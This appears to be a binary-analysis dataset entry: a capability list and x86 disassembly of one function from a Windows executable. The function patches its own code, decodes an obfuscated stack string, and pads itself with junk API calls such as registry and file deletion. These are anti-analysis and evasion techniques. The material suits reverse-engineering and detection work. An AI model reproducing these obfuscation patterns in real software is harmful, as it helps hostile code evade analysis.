Function at 0xabd000
Capabilities:
Accept command line arguments
Clear file content
Connect pipe
Contain obfuscated stackstrings
Create thread
Delete file
Delete registry key
Enumerate files on windows
Get common file path
Get geographical location
Get graphical window text
Get keyboard layout
Get session user name
Query environment variable
Query or enumerate registry value
Set environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov dword [ebp - 0x10], 0xabddb8
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xabd039
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xabd211
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xabd0bb
call fcn.0048c372
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xabd07d
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xabd097
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xabd097
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xabd04d
mov byte [ebp - 0x80], 6
mov byte [ebp - 0x7f], 0x6f
mov byte [ebp - 0x7e], 4
mov byte [ebp - 0x7d], 0x7a
mov byte [ebp - 0x7c], 0
mov byte [ebp - 0x7b], 0x77
mov byte [ebp - 0x7a], 1
mov byte [ebp - 0x79], 0x7c
mov byte [ebp - 0x78], 9
mov byte [ebp - 0x77], 0x72
mov byte [ebp - 0x76], 5
mov byte [ebp - 0x75], 0x74
mov byte [ebp - 0x74], 8
mov byte [ebp - 0x73], 0x7d
mov byte [ebp - 0x72], 0x21
mov byte [ebp - 0x71], 0x97
mov byte [ebp - 0x70], 0xf0
mov byte [ebp - 0x6f], 0x9e
mov byte [ebp - 0x6e], 0x98
mov byte [ebp - 0x6d], 0xc
mov byte [ebp - 0x6c], 0x35
mov byte [ebp - 0x6b], 0x1b
mov byte [ebp - 0x6a], 0x75
mov byte [ebp - 0x69], 0xb1
mov byte [ebp - 0x68], 0xd3
mov byte [ebp - 0x67], 0xe2
mov byte [ebp - 0x66], 0x86
mov byte [ebp - 0x65], 0x95
mov byte [ebp - 0x64], 0x26
mov byte [ebp - 0x63], 0x27
mov byte [ebp - 0x62], 0x38
mov byte [ebp - 0x61], 0x3c
mov byte [ebp - 0x60], 0x34
mov byte [ebp - 0x5f], 0x2d
mov byte [ebp - 0x5e], 0xd3
mov byte [ebp - 0x5d], 0xa3
mov byte [ebp - 0x5c], 0x9c
mov byte [ebp - 0x5b], 0x69
mov byte [ebp - 0x5a], 0xa
mov byte [ebp - 0x59], 0x7e
mov byte [ebp - 0x58], 0xc9
mov byte [ebp - 0x57], 0xe4
mov byte [ebp - 0x56], 0xd1
mov byte [ebp - 0x55], 0xc4
mov byte [ebp - 0x54], 0x6b
mov byte [ebp - 0x53], 0xe1
mov byte [ebp - 0x52], 0x6e
mov byte [ebp - 0x51], 7
mov byte [ebp - 0x50], 0x70
mov byte [ebp - 0x4f], 3
mov byte [ebp - 0x4e], 0x31
mov byte [ebp - 0x4d], 2
mov byte [ebp - 0x4c], 0x81
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xabd1a1
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x35
jae 0xabd206
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x80]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xabd1cd
mov dword [ebp - 0x24], 0x21
mov eax, dword [ebp - 8]
add eax, 0x1f
mov dword [ebp - 8], eax
jmp 0xabd199
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x7f]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xabd1f5
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xabd1e2
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x80]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xabd199
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xaae2f2
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407d27
mov ecx, eax
call fcn.0040314b
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.004030ef
and dword [ebp - 0x1c], 0
jmp 0xabd249
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xabd259
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xabd242
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0x1428
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push 0x1c8f
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
push 0x7c4
push 0x1604
push 0x260b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_PeekMessageA]
push 0x17ea
push 0
push 0
push 0
push 0
push 0x4be
push 0x314
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindowEx]
push 0
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
push 0x5a3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetLayout]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
push 0x2279
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetStretchBltMode]
push 0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push 0x199
push 0x11e4
call dword [sym.imp.USER32.dll_SetCaretPos]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
push 0x19e
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0
push 0x170d
push 0
push 0x1f1
push 0x108f
call dword [sym.imp.GDI32.dll_ExtCreatePen]
push 0x210a
push 0x19e7
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push 0x51e
push 0
push 0x1cb8
push 0xd2b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
push 0
push 0xe71
push 0x14a3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
push 0
push 0
push 0xabf
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
call dword [sym.imp.USER32.dll_CreateMenu]
push 0
push 0x26c
push 0
push 0
push 0x2038
push 0x1c0b
call dword [sym.imp.USER32.dll_ToAsciiEx]
push 0x215
push 0x1c02
push 0x4c1
push 0xafe
call dword [sym.imp.GDI32.dll_CreateRectRgn]
push 0x1877
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapDialogRect]
push 0xdab
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
call dword [sym.imp.USER32.dll_RegisterClassA]
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
push 0xd59
push 0
push 0x1f37
push 0
push 0x1327
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push 0x2cf
push 0x1a28
push 0xbc4
push 0x19c1
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x1f08
push 0x1974
push 0
call dword [sym.imp.GDI32.dll_CreatePolygonRgn]
push 0x2463
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
call dword [sym.imp.USER32.dll_DestroyCursor]
push 0
push 0
push 0x4a6
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
push 0
push 0
push 0
push 0x52e
push 0xa07
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
push 0x98
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0x1c79
push 0xa28
call dword [sym.imp.KERNEL32.dll_Beep]
push 0x26ba
push 0
push 0x1313
push 0x1282
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtFloodFill]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0x3d0
push 0x12a9
push 0x1650
push 0
push 0x1efa
push 0x1b41
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x9cd
push 0xe99
push 0x1893
push 0xbb1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
push 0
push 0x17b
push 0x9bc
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
push 0x1934
push 0
push 0
push 0x194b
push 0x1217
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBits]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetRgnBox]
push 0
push 0xf60
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0x1585
push 0x1d30
push 0x85e
push 0xb8c
push 0
call dword [sym.imp.USER32.dll_TrackPopupMenu]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 0
push 0
push 0x6b2
push 0x35e
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
push 0x1eaf
push 0x144f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetClassLongA]
push 0
push 0x829
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
call dword [sym.imp.USER32.dll_SetCursor]
push 0
push 0xf0c
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push 0
push 0x2421
push 0x22d2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
push 0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0xa33
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
push 0
push 0x18b5
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
push 0
push 0x1bae
call dword [sym.imp.GDI32.dll_CreateHatchBrush]
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
push 0x7c2
push 0x11fd
push 0
call dword [sym.imp.GDI32.dll_PtInRegion]
push 0x18c4
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolygon]
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
push 0x1f62
push 0x1fb6
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRect]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
push 0x124e
push 0x17e8
push 0xb1
push 0xe9c
push 0xa49
push 0x80a
push 0x142
push 0x1ff7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Arc]
push 0x1ffd
push 0x23de
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
push 0x585
push 0x2163
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0
push 0
call dword [sym.imp.GDI32.dll_RectInRegion]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
push 0x1b37
push 0
push 0
push 0xa57
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0x2445
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0x1683
push 0x9b6
push 0x1257
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckRadioButton]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
push 0x1e70
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RestoreDC]
push 0x72e
push 0
push 0x10a9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
push 1
push 0x125e
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push 0
push 0
push 0x183b
push 0x10dc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0x13c9
push 0x1beb
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetMenu]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowInfo]
push 0
push 0
push 0x849
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0
push 0xa20
push 0x1492
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
push 0x884
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolyline]
push 0
call dword [sym.imp.USER32.dll_SetKeyboardState]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_HideCaret]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndDialog]
push 0x3a2
call dword [sym.imp.KERNEL32.dll_TlsFree]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetParent]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
call dword [sym.imp.USER32.dll_DestroyCaret]
push 0
push 0x267c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectPalette]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
push 0
push 0x9ce
push 0x1495
call dword [sym.imp.GDI32.dll_CreatePen]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push 0
push 0xdf6
push 0x25a0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPixel]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RemovePropA]
push 0
push 0
push 0x252c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 0
push 0
push 0x1c36
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollInfo]
push 0
push 0
push 0x158
push 0
push 1
push 0
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0x11b4
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 0x34b
push 7
push 0x17dc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x14ce
push 0x2238
push 0xb28
push 0x1f44
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
push 0x17f0
push 0
push 0
push 0
push 0xf28
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push 0
push 0x1f19
push 0x17ae
push 0x8ec
push 0x123c
push 0x145
push 0x11ee
push 0x1a6a
push 0xde6
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
push 0x171a
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0x18b2
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RectVisible]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push 0x1080
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
push 0x1679
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
push 0x26b5
push 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
push 0
push 0
push 0x1afe
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ClientToScreen]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0
push 0x1688
push 0
push 0x1d1b
push 0
push 0x1bd5
push 0x873
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0xb76
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x23fa
push 0x1d43
push 0x244d
push 0x22b1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0x7db
call dword [sym.imp.KERNEL32.dll_ExitProcess]